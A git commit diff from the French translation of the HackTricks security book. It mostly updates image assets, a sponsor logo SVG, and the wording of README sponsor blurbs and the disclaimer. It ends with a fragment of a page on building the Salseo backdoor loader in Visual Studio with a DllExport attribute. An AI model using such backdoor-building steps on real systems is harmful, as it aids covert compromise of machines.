Translated ['README.md', 'backdoors/salseo.md', 'forensics/basic-forensi
BIN
.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png
Normal file
After Width: | Height: | Size: 1.6 KiB |
Before Width: | Height: | Size: 1.6 KiB After Width: | Height: | Size: 16 KiB |
Before Width: | Height: | Size: 16 KiB After Width: | Height: | Size: 132 KiB |
Before Width: | Height: | Size: 132 KiB After Width: | Height: | Size: 20 KiB |
Before Width: | Height: | Size: 20 KiB After Width: | Height: | Size: 8.1 KiB |
Before Width: | Height: | Size: 8.1 KiB After Width: | Height: | Size: 51 KiB |
Before Width: | Height: | Size: 51 KiB After Width: | Height: | Size: 32 KiB |
Before Width: | Height: | Size: 32 KiB After Width: | Height: | Size: 39 KiB |
BIN
.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1).png
Normal file
After Width: | Height: | Size: 94 KiB |
Before Width: | Height: | Size: 94 KiB After Width: | Height: | Size: 199 KiB |
Before Width: | Height: | Size: 199 KiB After Width: | Height: | Size: 145 KiB |
Before Width: | Height: | Size: 145 KiB After Width: | Height: | Size: 1.2 MiB |
Before Width: | Height: | Size: 1.2 MiB After Width: | Height: | Size: 100 KiB |
Before Width: | Height: | Size: 100 KiB After Width: | Height: | Size: 12 KiB |
Before Width: | Height: | Size: 12 KiB After Width: | Height: | Size: 121 KiB |
Before Width: | Height: | Size: 121 KiB After Width: | Height: | Size: 7 KiB |
BIN
.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png
Normal file
After Width: | Height: | Size: 19 KiB |
Before Width: | Height: | Size: 19 KiB After Width: | Height: | Size: 78 KiB |
Before Width: | Height: | Size: 78 KiB After Width: | Height: | Size: 38 KiB |
Before Width: | Height: | Size: 38 KiB After Width: | Height: | Size: 795 KiB |
Before Width: | Height: | Size: 795 KiB After Width: | Height: | Size: 104 KiB |
Before Width: | Height: | Size: 104 KiB After Width: | Height: | Size: 17 KiB |
Before Width: | Height: | Size: 17 KiB After Width: | Height: | Size: 68 KiB |
Before Width: | Height: | Size: 68 KiB After Width: | Height: | Size: 154 KiB |
BIN
.gitbook/assets/image (4) (1) (1) (1) (2) (1).png
Normal file
After Width: | Height: | Size: 220 KiB |
Before Width: | Height: | Size: 220 KiB After Width: | Height: | Size: 96 KiB |
Before Width: | Height: | Size: 96 KiB After Width: | Height: | Size: 13 KiB |
Before Width: | Height: | Size: 13 KiB After Width: | Height: | Size: 7.8 KiB |
Before Width: | Height: | Size: 7.8 KiB After Width: | Height: | Size: 48 KiB |
Before Width: | Height: | Size: 48 KiB After Width: | Height: | Size: 76 KiB |
BIN
.gitbook/assets/image (5) (1) (1) (3) (1).png
Normal file
After Width: | Height: | Size: 316 KiB |
Before Width: | Height: | Size: 316 KiB After Width: | Height: | Size: 29 KiB |
Before Width: | Height: | Size: 29 KiB After Width: | Height: | Size: 82 KiB |
Before Width: | Height: | Size: 82 KiB After Width: | Height: | Size: 18 KiB |
Before Width: | Height: | Size: 18 KiB After Width: | Height: | Size: 111 KiB |
BIN
.gitbook/assets/image (6) (1) (4).png
Normal file
After Width: | Height: | Size: 94 KiB |
Before Width: | Height: | Size: 94 KiB After Width: | Height: | Size: 160 KiB |
Before Width: | Height: | Size: 160 KiB After Width: | Height: | Size: 111 KiB |
BIN
.gitbook/assets/image (7) (1) (2) (2).png
Normal file
After Width: | Height: | Size: 234 KiB |
Before Width: | Height: | Size: 234 KiB After Width: | Height: | Size: 27 KiB |
Before Width: | Height: | Size: 27 KiB After Width: | Height: | Size: 58 KiB |
Before Width: | Height: | Size: 58 KiB After Width: | Height: | Size: 7.5 KiB |
Before Width: | Height: | Size: 7.5 KiB After Width: | Height: | Size: 36 KiB |
BIN
.gitbook/assets/stm (1).png
Normal file
After Width: | Height: | Size: 7.1 KiB |
12
.gitbook/assets/websec (1).svg
Normal file
|
@ -0,0 +1,12 @@
|
|||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300px" height="77px" viewBox="0 0 299 77" version="1.1">
|
||||
<g id="surface1">
|
||||
<path style=" stroke:none;fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;" d="M 138.042969 16.09375 C 137.605469 16.09375 137.226562 16.40625 137.148438 16.839844 C 136.703125 19.355469 136.234375 21.917969 135.742188 24.527344 C 135.191406 27.402344 134.628906 30.226562 134.042969 32.996094 C 133.457031 35.769531 132.863281 38.449219 132.261719 41.039062 C 131.65625 43.628906 131.046875 46.015625 130.441406 48.195312 C 129.527344 51.464844 126.289062 35.253906 121.789062 18.628906 C 121.683594 18.230469 121.324219 17.953125 120.914062 17.953125 L 116.121094 17.953125 C 115.710938 17.953125 115.351562 18.230469 115.246094 18.628906 C 110.746094 35.257812 106.59375 48.195312 106.59375 48.195312 C 105.984375 46.007812 105.378906 43.625 104.773438 41.035156 C 104.171875 38.449219 103.578125 35.769531 102.992188 32.992188 C 102.40625 30.222656 101.839844 27.398438 101.292969 24.523438 C 100.800781 21.914062 100.332031 19.351562 99.882812 16.835938 C 99.804688 16.402344 99.429688 16.089844 98.988281 16.089844 L 92.675781 16.089844 C 92.402344 16.089844 92.148438 16.210938 91.976562 16.421875 C 91.800781 16.628906 91.730469 16.90625 91.78125 17.171875 C 93.136719 24.394531 94.628906 31.347656 96.261719 38.035156 C 97.917969 44.828125 99.789062 51.328125 101.878906 57.53125 C 102.003906 57.898438 102.351562 58.148438 102.742188 58.148438 L 109.171875 58.148438 C 109.554688 58.148438 109.898438 57.90625 110.027344 57.542969 C 111.824219 52.519531 117.085938 36.066406 118.515625 31.382812 C 119.945312 36.066406 125.210938 52.527344 127.007812 57.542969 C 127.136719 57.90625 127.476562 58.148438 127.863281 58.148438 L 134.289062 58.148438 C 134.679688 58.148438 135.027344 57.898438 135.152344 57.53125 C 137.246094 51.324219 139.117188 44.824219 140.769531 38.027344 C 142.402344 31.34375 143.894531 24.394531 145.253906 17.175781 C 145.300781 16.910156 145.230469 16.632812 145.058594 16.425781 C 144.886719 16.214844 144.628906 16.09375 144.359375 16.09375 Z M 138.042969 16.09375 "/>
|
||||
<path style=" stroke:none;fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;" d="M 145.488281 42.433594 C 145.488281 39.640625 145.902344 37.191406 146.730469 35.089844 C 147.554688 32.988281 148.65625 31.238281 150.027344 29.839844 C 151.363281 28.46875 152.972656 27.394531 154.75 26.683594 C 156.480469 25.984375 158.332031 25.625 160.195312 25.625 C 164.554688 25.625 167.957031 26.980469 170.398438 29.6875 C 172.839844 32.398438 174.058594 36.445312 174.058594 41.828125 C 174.058594 42.234375 174.046875 42.6875 174.03125 43.191406 C 174.03125 43.371094 174.011719 43.546875 174.003906 43.710938 C 173.972656 44.1875 173.574219 44.5625 173.097656 44.558594 L 153.054688 44.558594 C 153.253906 47.109375 154.152344 49.085938 155.746094 50.480469 C 157.34375 51.878906 159.652344 52.578125 162.679688 52.578125 C 164.316406 52.589844 165.949219 52.429688 167.550781 52.089844 C 168.5 51.882812 169.332031 51.664062 170.019531 51.4375 C 170.273438 51.351562 170.550781 51.382812 170.777344 51.519531 C 171.007812 51.65625 171.164062 51.890625 171.203125 52.152344 L 171.886719 56.371094 C 171.953125 56.792969 171.714844 57.210938 171.316406 57.367188 C 171.027344 57.476562 170.699219 57.589844 170.332031 57.703125 C 169.535156 57.949219 168.726562 58.152344 167.910156 58.3125 C 167.003906 58.503906 166.023438 58.644531 164.972656 58.769531 C 163.90625 58.890625 162.835938 58.949219 161.765625 58.949219 C 158.976562 58.949219 156.558594 58.535156 154.5 57.703125 C 152.5625 56.957031 150.824219 55.773438 149.417969 54.246094 C 148.066406 52.738281 147.054688 50.957031 146.453125 49.027344 C 145.785156 46.894531 145.460938 44.667969 145.488281 42.433594 Z M 166.734375 39.15625 C 166.738281 38.179688 166.59375 37.207031 166.308594 36.273438 C 166.050781 35.414062 165.632812 34.609375 165.070312 33.90625 C 164.53125 33.242188 163.851562 32.703125 163.078125 32.328125 C 162.195312 31.925781 161.234375 31.730469 160.265625 31.757812 C 159.238281 31.730469 158.21875 31.945312 157.292969 32.382812 C 156.46875 32.789062 155.738281 33.355469 155.144531 34.054688 C 154.550781 34.753906 154.089844 35.554688 153.78125 36.421875 C 153.457031 37.304688 153.234375 38.21875 153.113281 39.152344 Z M 166.734375 39.15625 "/>
|
||||
<path style=" stroke:none;fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;" d="M 207.203125 42.3125 C 207.203125 44.863281 206.832031 47.160156 206.085938 49.203125 C 205.390625 51.15625 204.300781 52.945312 202.875 54.453125 C 201.460938 55.925781 199.734375 57.066406 197.824219 57.789062 C 195.84375 58.550781 193.605469 58.9375 191.105469 58.941406 C 188.78125 58.953125 186.460938 58.769531 184.167969 58.398438 C 182.546875 58.144531 180.941406 57.800781 179.359375 57.378906 C 178.964844 57.269531 178.691406 56.910156 178.691406 56.5 L 178.691406 14.378906 C 178.691406 13.933594 179.011719 13.554688 179.449219 13.480469 L 184.960938 12.570312 C 185.222656 12.523438 185.492188 12.601562 185.695312 12.773438 C 185.898438 12.945312 186.015625 13.199219 186.015625 13.464844 L 186.015625 27.503906 C 187.015625 27 188.058594 26.589844 189.136719 26.289062 C 190.464844 25.910156 191.839844 25.726562 193.222656 25.742188 C 195.441406 25.742188 197.429688 26.136719 199.183594 26.925781 C 200.894531 27.679688 202.402344 28.835938 203.574219 30.292969 C 204.796875 31.855469 205.710938 33.636719 206.269531 35.542969 C 206.914062 37.742188 207.230469 40.023438 207.203125 42.3125 Z M 199.699219 42.191406 C 199.699219 39.078125 199.082031 36.609375 197.855469 34.789062 C 196.625 32.96875 194.675781 32.058594 192.011719 32.054688 C 189.886719 32.0625 187.8125 32.675781 186.019531 33.816406 L 186.019531 52.085938 C 186.6875 52.230469 187.367188 52.34375 188.046875 52.417969 C 189.042969 52.53125 190.042969 52.582031 191.042969 52.570312 C 193.746094 52.570312 195.863281 51.648438 197.398438 49.808594 C 198.933594 47.96875 199.699219 45.429688 199.699219 42.191406 Z M 199.699219 42.191406 "/>
|
||||
<path style=" stroke:none;fill-rule:nonzero;fill:rgb(89.803922%,16.078431%,28.627451%);fill-opacity:1;" d="M 70.214844 39.941406 L 52.527344 63.882812 L 45.558594 54.449219 L 40.503906 47.609375 L 28.039062 30.738281 C 25.613281 27.441406 24.300781 23.453125 24.289062 19.355469 L 24.289062 8.148438 L 56.714844 8.148438 L 56.714844 19.355469 C 56.707031 23.453125 55.394531 27.441406 52.96875 30.738281 L 43.847656 43.074219 C 43.449219 43.617188 43.449219 44.355469 43.847656 44.898438 L 47.570312 49.917969 C 47.726562 50.132812 47.976562 50.257812 48.242188 50.257812 C 48.507812 50.257812 48.757812 50.132812 48.914062 49.917969 L 59.5 35.589844 C 62.960938 30.886719 64.832031 25.199219 64.847656 19.355469 L 64.847656 0.953125 C 64.847656 0.425781 64.421875 0 63.894531 0 L 17.121094 0 C 16.59375 0 16.171875 0.425781 16.171875 0.953125 L 16.171875 19.351562 C 16.183594 25.195312 18.054688 30.878906 21.515625 35.582031 L 35.453125 54.441406 L 28.488281 63.871094 L 10.792969 39.941406 C 9.890625 38.722656 8.46875 38.003906 6.953125 38.003906 L 0.910156 38.003906 C 0.597656 38.003906 0.308594 38.183594 0.167969 38.464844 C 0.0273438 38.746094 0.0546875 39.082031 0.238281 39.335938 L 27.8125 76.660156 C 27.96875 76.875 28.21875 77 28.480469 77 C 28.746094 77 28.996094 76.875 29.152344 76.660156 L 37.828125 64.917969 L 39.15625 63.109375 L 40.496094 61.296875 L 51.847656 76.660156 C 52.007812 76.875 52.253906 77 52.519531 77 C 52.785156 77 53.035156 76.875 53.191406 76.660156 L 80.757812 39.34375 C 80.945312 39.089844 80.96875 38.75 80.828125 38.46875 C 80.6875 38.191406 80.402344 38.011719 80.085938 38.007812 L 74.050781 38.007812 C 72.539062 38.007812 71.117188 38.726562 70.214844 39.941406 Z M 70.214844 39.941406 "/>
|
||||
<path style=" stroke:none;fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;" d="M 222.210938 52.449219 C 224.953125 52.449219 226.949219 51.984375 228.203125 51.054688 C 229.457031 50.125 230.082031 48.808594 230.078125 47.109375 C 230.105469 46.199219 229.882812 45.296875 229.441406 44.496094 C 228.976562 43.722656 228.359375 43.054688 227.628906 42.527344 C 226.730469 41.875 225.765625 41.328125 224.75 40.886719 C 223.621094 40.378906 222.332031 39.882812 220.878906 39.398438 C 219.425781 38.875 218.019531 38.296875 216.667969 37.667969 C 215.367188 37.074219 214.164062 36.289062 213.097656 35.332031 C 212.0625 34.394531 211.21875 33.265625 210.613281 32.003906 C 209.992188 30.707031 209.675781 29.148438 209.675781 27.328125 C 209.675781 23.527344 210.988281 20.542969 213.613281 18.375 C 216.238281 16.207031 219.808594 15.128906 224.328125 15.136719 C 226.949219 15.136719 229.28125 15.429688 231.320312 16.019531 C 232.722656 16.402344 234.09375 16.914062 235.40625 17.542969 C 235.828125 17.75 236.019531 18.246094 235.847656 18.6875 L 234.140625 23.179688 C 234.050781 23.414062 233.871094 23.601562 233.636719 23.695312 C 233.40625 23.792969 233.144531 23.785156 232.917969 23.679688 C 231.75 23.117188 230.527344 22.675781 229.265625 22.367188 C 227.609375 21.960938 225.914062 21.757812 224.210938 21.761719 C 222.152344 21.761719 220.550781 22.1875 219.398438 23.035156 C 218.246094 23.886719 217.671875 25.078125 217.671875 26.617188 C 217.648438 27.453125 217.84375 28.28125 218.242188 29.015625 C 218.660156 29.71875 219.214844 30.328125 219.878906 30.808594 C 220.65625 31.375 221.484375 31.863281 222.359375 32.265625 C 223.308594 32.710938 224.347656 33.132812 225.480469 33.539062 C 227.457031 34.265625 229.222656 35.003906 230.777344 35.753906 C 232.21875 36.425781 233.550781 37.328125 234.710938 38.421875 C 235.777344 39.441406 236.617188 40.671875 237.171875 42.039062 C 237.738281 43.4375 238.019531 45.128906 238.019531 47.109375 C 238.019531 50.917969 236.679688 53.863281 233.996094 55.941406 C 231.308594 58.019531 227.382812 59.058594 222.214844 59.066406 C 220.625 59.078125 219.039062 58.964844 217.464844 58.734375 C 216.179688 58.542969 214.90625 58.269531 213.652344 57.914062 C 212.675781 57.636719 211.714844 57.304688 210.777344 56.914062 C 210.320312 56.722656 209.910156 56.53125 209.558594 56.355469 C 209.144531 56.152344 208.949219 55.667969 209.105469 55.230469 L 210.734375 50.6875 C 210.820312 50.445312 211.003906 50.253906 211.238281 50.15625 C 211.476562 50.058594 211.742188 50.066406 211.972656 50.175781 C 213.121094 50.703125 214.296875 51.160156 215.5 51.539062 C 217.347656 52.148438 219.585938 52.453125 222.210938 52.449219 Z M 222.210938 52.449219 "/>
|
||||
<path style=" stroke:none;fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;" d="M 241.921875 42.433594 C 241.921875 39.640625 242.335938 37.191406 243.164062 35.089844 C 243.988281 32.984375 245.089844 31.234375 246.464844 29.839844 C 247.796875 28.46875 249.40625 27.390625 251.183594 26.683594 C 252.917969 25.984375 254.765625 25.621094 256.632812 25.621094 C 260.992188 25.621094 264.394531 26.976562 266.835938 29.6875 C 269.277344 32.398438 270.496094 36.445312 270.496094 41.828125 C 270.496094 42.230469 270.488281 42.6875 270.46875 43.191406 C 270.46875 43.371094 270.449219 43.546875 270.441406 43.714844 C 270.410156 44.191406 270.011719 44.5625 269.535156 44.558594 L 249.480469 44.558594 C 249.683594 47.109375 250.582031 49.085938 252.179688 50.480469 C 253.78125 51.878906 256.089844 52.578125 259.113281 52.578125 C 260.75 52.589844 262.386719 52.429688 263.988281 52.089844 C 264.953125 51.878906 265.785156 51.65625 266.480469 51.429688 C 266.730469 51.347656 267.003906 51.382812 267.230469 51.519531 C 267.453125 51.660156 267.605469 51.890625 267.644531 52.148438 L 268.324219 56.371094 C 268.394531 56.796875 268.15625 57.210938 267.753906 57.363281 C 267.46875 57.472656 267.140625 57.589844 266.769531 57.703125 C 265.972656 57.949219 265.164062 58.152344 264.347656 58.3125 C 263.441406 58.496094 262.460938 58.648438 261.414062 58.769531 C 260.347656 58.890625 259.277344 58.949219 258.203125 58.949219 C 255.417969 58.949219 252.996094 58.535156 250.9375 57.703125 C 249 56.957031 247.261719 55.773438 245.851562 54.246094 C 244.503906 52.738281 243.492188 50.957031 242.886719 49.023438 C 242.222656 46.890625 241.898438 44.667969 241.921875 42.433594 Z M 263.171875 39.15625 C 263.175781 38.179688 263.035156 37.207031 262.75 36.273438 C 262.492188 35.410156 262.070312 34.609375 261.507812 33.90625 C 260.964844 33.238281 260.28125 32.699219 259.507812 32.328125 C 258.625 31.925781 257.664062 31.730469 256.695312 31.753906 C 255.667969 31.726562 254.648438 31.945312 253.71875 32.382812 C 252.898438 32.789062 252.167969 33.355469 251.570312 34.054688 C 250.976562 34.753906 250.515625 35.554688 250.210938 36.421875 C 249.886719 37.304688 249.664062 38.21875 249.542969 39.152344 Z M 263.171875 39.15625 "/>
|
||||
<path style=" stroke:none;fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;" d="M 274.390625 42.3125 C 274.375 40.070312 274.742188 37.84375 275.480469 35.726562 C 276.160156 33.765625 277.21875 31.960938 278.601562 30.414062 C 279.976562 28.898438 281.660156 27.699219 283.539062 26.894531 C 285.476562 26.042969 287.65625 25.621094 290.078125 25.621094 C 292.710938 25.605469 295.320312 26.0625 297.792969 26.964844 C 298.230469 27.128906 298.46875 27.597656 298.347656 28.046875 L 297.234375 32.289062 C 297.171875 32.535156 297.011719 32.742188 296.789062 32.859375 C 296.570312 32.976562 296.308594 33 296.070312 32.914062 C 295.425781 32.695312 294.769531 32.507812 294.105469 32.359375 C 292.980469 32.109375 291.835938 31.988281 290.6875 31.992188 C 287.816406 31.992188 285.640625 32.894531 284.148438 34.695312 C 282.65625 36.496094 281.910156 39.035156 281.910156 42.316406 C 281.910156 45.46875 282.613281 47.96875 284.027344 49.8125 C 285.4375 51.65625 287.820312 52.574219 291.171875 52.574219 C 292.410156 52.574219 293.648438 52.453125 294.863281 52.207031 C 295.589844 52.066406 296.308594 51.882812 297.019531 51.660156 C 297.269531 51.578125 297.542969 51.609375 297.765625 51.746094 C 297.992188 51.882812 298.148438 52.109375 298.191406 52.367188 L 298.921875 56.664062 C 298.996094 57.089844 298.761719 57.507812 298.363281 57.664062 C 297.390625 58.011719 296.394531 58.277344 295.378906 58.460938 C 293.710938 58.789062 292.019531 58.949219 290.324219 58.945312 C 287.617188 58.945312 285.265625 58.53125 283.269531 57.703125 C 281.371094 56.945312 279.675781 55.761719 278.304688 54.242188 C 276.957031 52.710938 275.953125 50.910156 275.359375 48.957031 C 274.699219 46.804688 274.371094 44.5625 274.390625 42.3125 Z M 274.390625 42.3125 "/>
|
||||
</g>
|
||||
</svg>
|
After Width: | Height: | Size: 14 KiB |
40
README.md
|
@ -16,13 +16,13 @@ Pour commencer, suivez cette page où vous trouverez le **flux typique** que **v
|
|||
|
||||
## Sponsors Platinum
|
||||
|
||||
_Votre entreprise pourrait être ici_
|
||||
_Votre entreprise pourrait être ici._
|
||||
|
||||
## Sponsors Corporate
|
||||
|
||||
### [STM Cyber](https://www.stmcyber.com)
|
||||
|
||||
![](<.gitbook/assets/image (642) (1) (1) (1).png>)
|
||||
<figure><img src=".gitbook/assets/stm (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**STM Cyber**](https://www.stmcyber.com) est une excellente entreprise de cybersécurité dont le slogan est **PIRATER L'IMPIRATABLE**. Ils effectuent leurs propres recherches et développent leurs propres outils de piratage pour **offrir plusieurs services précieux de cybersécurité** tels que les tests de pénétration, les équipes rouges et la formation.
|
||||
|
||||
|
@ -32,7 +32,7 @@ Vous pouvez consulter leur **blog** sur [**https://blog.stmcyber.com**](https://
|
|||
|
||||
### [RootedCON](https://www.rootedcon.com/)
|
||||
|
||||
<figure><img src=".gitbook/assets/image (1) (3) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src=".gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com) est l'événement le plus important en matière de cybersécurité en **Espagne** et l'un des plus importants en **Europe**. Avec **pour mission de promouvoir les connaissances techniques**, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans toutes les disciplines.
|
||||
|
||||
|
@ -40,9 +40,9 @@ Vous pouvez consulter leur **blog** sur [**https://blog.stmcyber.com**](https://
|
|||
|
||||
### [Intigriti](https://www.intigriti.com)
|
||||
|
||||
![](.gitbook/assets/i3.png)
|
||||
<figure><img src=".gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Intigriti** est la plateforme de piratage éthique et de **bug bounty n°1 en Europe**.
|
||||
**Intigriti** est la première plateforme de piratage éthique et de **bug bounty en Europe**.
|
||||
|
||||
**Astuce de bug bounty** : **inscrivez-vous** à **Intigriti**, une plateforme premium de **bug bounty créée par des pirates, pour des pirates** ! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) dès aujourd'hui et commencez à gagner des primes allant jusqu'à **100 000 $** !
|
||||
|
||||
|
@ -50,7 +50,7 @@ Vous pouvez consulter leur **blog** sur [**https://blog.stmcyber.com**](https://
|
|||
|
||||
### [Trickest](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)
|
||||
|
||||
<figure><img src=".gitbook/assets/image (9) (1) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src=".gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour créer et **automatiser facilement des flux de travail** alimentés par les outils communautaires les plus avancés au monde.
|
||||
|
@ -61,13 +61,13 @@ Accédez dès aujourd'hui :
|
|||
|
||||
### [Intruder](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)
|
||||
|
||||
<figure><img src=".gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src=".gitbook/assets/image (4).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Restez en avance dans le jeu de la cybersécurité.
|
||||
|
||||
[**Intruder**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) facilite la gestion des vulnérabilités. Suivez votre surface d'attaque, identifiez les vulnérabilités de votre entreprise et donnez la priorité aux problèmes qui exposent le plus vos systèmes afin de vous concentrer sur ce qui compte le plus.
|
||||
|
||||
Effectuez des milliers de vérifications avec une seule plateforme qui couvre l'ensemble de votre pile technologique, de l'infrastructure interne aux applications web, aux API et aux systèmes cloud. Intégrez-vous facilement avec [AWS, GCP, Azure](https://www.intruder.io/cloud-vulnerability-scanning-for-aws-google-cloud-and-azure) et rationalisez DevOps pour que votre équipe puisse mettre en œuvre les corrections plus rapidement.
|
||||
Effectuez des milliers de vérifications avec une seule plateforme qui couvre l'ensemble de votre pile technologique, de l'infrastructure interne aux applications web, aux API et aux systèmes cloud. Intégrez-vous facilement avec [AWS, GCP, Azure](https://www.intruder.io/cloud-vulnerability-scanning-for-aws-google-cloud-and-azure) et rationalisez DevOps pour que votre équipe puisse apporter des corrections plus rapidement.
|
||||
|
||||
Intruder ne se repose jamais. Une protection 24/7 surveille vos systèmes en permanence. Vous voulez en savoir plus ? Visitez leur site et essayez-le avec [**un essai gratuit**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks).
|
||||
|
||||
|
@ -75,14 +75,14 @@ Intruder ne se repose jamais. Une protection 24/7 surveille vos systèmes en per
|
|||
|
||||
### [HACKENPROOF](https://bit.ly/3xrrDrL)
|
||||
|
||||
<figure><img src=".gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src=".gitbook/assets/image (5).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProof est la plateforme de tous les bug bounties cryptographiques.**
|
||||
|
||||
**Obtenez une récompense sans délai**\
|
||||
Les primes HackenProof ne sont lancées que lorsque leurs clients déposent le budget de récompense. Vous recevrez la récompense après la vérification du bogue.
|
||||
Les primes HackenProof sont lancées uniquement lorsque leurs clients déposent le budget de récompense. Vous recevrez la récompense après la vérification du bogue.
|
||||
|
||||
**Acquérez de l'expérience en pentest web3**\
|
||||
**Acquérez de l'expérience en test de pénétration web3**\
|
||||
Les protocoles blockchain et les contrats intelligents sont le nouvel Internet ! Maîtrisez la sécurité web3 à ses débuts.
|
||||
|
||||
**Devenez la légende du pirate web3**\
|
||||
|
@ -92,15 +92,13 @@ Gagnez des points de réputation avec chaque bogue vérifié et conquérez le so
|
|||
|
||||
{% embed url="https://hackenproof.com/register" %}
|
||||
|
||||
\---
|
||||
|
||||
### [WebSec](https://websec.nl/)
|
||||
|
||||
<figure><img src=".gitbook/assets/logo.svg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src=".gitbook/assets/websec (1).svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WebSec**](https://websec.nl) est une entreprise de cybersécurité professionnelle basée à **Amsterdam** qui aide à **protéger** les entreprises **du monde entier** contre les dernières menaces en matière de cybersécurité en fournissant des services de **sécurité offensive** avec une approche **moderne**.
|
||||
[**WebSec**](https://websec.nl) est une entreprise de cybersécurité professionnelle basée à **Amsterdam** qui aide à **protéger** les entreprises **du monde entier** contre les dernières menaces en matière de cybersécurité en fournissant des services de sécurité offensive avec une approche **moderne**.
|
||||
|
||||
WebSec est une **entreprise de sécurité tout-en-un**, ce qui signifie qu'ils font tout : tests de pénétration, audits de sécurité, formations en sensibilisation, campagnes de phishing, examen de code, développement d'exploits, externalisation d'experts en sécurité et bien plus encore.
|
||||
WebSec est une **entreprise de sécurité tout-en-un**, ce qui signifie qu'ils font tout ; tests de pénétration, audits de sécurité, formations à la sensibilisation, campagnes de phishing, examen de code, développement d'exploits, externalisation d'experts en sécurité et bien plus encore.
|
||||
|
||||
Une autre chose intéressante à propos de WebSec est que, contrairement à la moyenne de l'industrie, WebSec est **très confiant dans ses compétences**, à tel point qu'ils **garantissent les meilleurs résultats de qualité**, comme indiqué sur leur site web "**Si nous ne pouvons pas le pirater, vous ne le payez pas !**". Pour plus d'informations, consultez leur [**site web**](https://websec.nl/en/) et leur [**blog**](https://websec.nl/blog/) !
|
||||
|
||||
|
@ -115,13 +113,7 @@ En plus de ce qui précède, WebSec est également un **supporter engagé de Hac
|
|||
|
||||
[**DragonJAR is a leading offensive cybersecurity company**](https://www.dragonjar.org/) **located in Colombia**. DragonJAR offers [comprehensive offensive cybersecurity services, such as **pentesting**](https://www.dragonjar.org/servicios-de-seguridad-informatica) in various areas and practically **any technology**, **Red Team** attack simulations, **physical** security testing, **stress testing**, social engineering, source **code security review**, and cybersecurity training. Additionally, they organize the **DragonJAR Security Conference**, [an international cybersecurity congress](https://www.dragonjarcon.org/) that has been held for over a decade, becoming a showcase for the latest security research in Spanish and of great relevance in the region.
|
||||
|
||||
### [SYN CUBES](https://www.syncubes.com/)
|
||||
|
||||
<figure><img src=".gitbook/assets/image (10) (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
La plateforme **Security Skills as a Service** comble l'écart actuel en matière de compétences en combinant **un talent mondial en sécurité offensive avec une automatisation intelligente**, fournissant les données en temps réel dont vous avez besoin pour prendre des décisions éclairées.
|
||||
|
||||
{% embed url="https://www.syncubes.com/" %}
|
||||
|
||||
## License
|
||||
|
||||
|
@ -131,9 +123,9 @@ La plateforme **Security Skills as a Service** comble l'écart actuel en matièr
|
|||
## **Disclaimer**
|
||||
|
||||
{% hint style="danger" %}
|
||||
Ce livre, 'HackTricks', est destiné uniquement à des fins éducatives et informatives. Le contenu de ce livre est fourni tel quel, et les auteurs et éditeurs ne font aucune déclaration ni garantie d'aucune sorte, expresse ou implicite, quant à l'exhaustivité, l'exactitude, la fiabilité, l'adéquation ou la disponibilité des informations, produits, services ou graphiques connexes contenus dans ce livre. Toute confiance que vous accordez à de telles informations est donc strictement à vos propres risques.
|
||||
Ce livre, 'HackTricks', est destiné uniquement à des fins éducatives et informatives. Le contenu de ce livre est fourni tel quel, et les auteurs et éditeurs ne font aucune déclaration ni garantie d'aucune sorte, expresse ou implicite, quant à l'exhaustivité, l'exactitude, la fiabilité, la pertinence ou la disponibilité des informations, produits, services ou graphiques connexes contenus dans ce livre. Toute confiance que vous accordez à de telles informations est donc strictement à vos propres risques.
|
||||
|
||||
Les auteurs et éditeurs ne sauraient en aucun cas être tenus responsables de toute perte ou dommage, y compris, sans s'y limiter, toute perte ou dommage indirect ou consécutif, ou toute perte ou dommage résultant de la perte de données ou de bénéfices découlant de l'utilisation de ce livre.
|
||||
Les auteurs et éditeurs ne seront en aucun cas responsables de toute perte ou dommage, y compris, sans s'y limiter, les pertes ou dommages indirects ou consécutifs, ou toute perte ou dommage découlant de la perte de données ou de bénéfices résultant de l'utilisation de ce livre.
|
||||
|
||||
De plus, les techniques et astuces décrites dans ce livre sont fournies uniquement à des fins éducatives et informatives, et ne doivent pas être utilisées à des fins illégales ou malveillantes. Les auteurs et éditeurs ne cautionnent ni ne soutiennent aucune activité illégale ou contraire à l'éthique, et toute utilisation des informations contenues dans ce livre se fait aux risques et périls de l'utilisateur et à sa discrétion.
|
||||
|
||||
|
|
|
@ -101,23 +101,23 @@ Ouvrez le projet SalseoLoader à l'aide de Visual Studio.
|
|||
|
||||
### Ajoutez avant la fonction principale: \[DllExport]
|
||||
|
||||
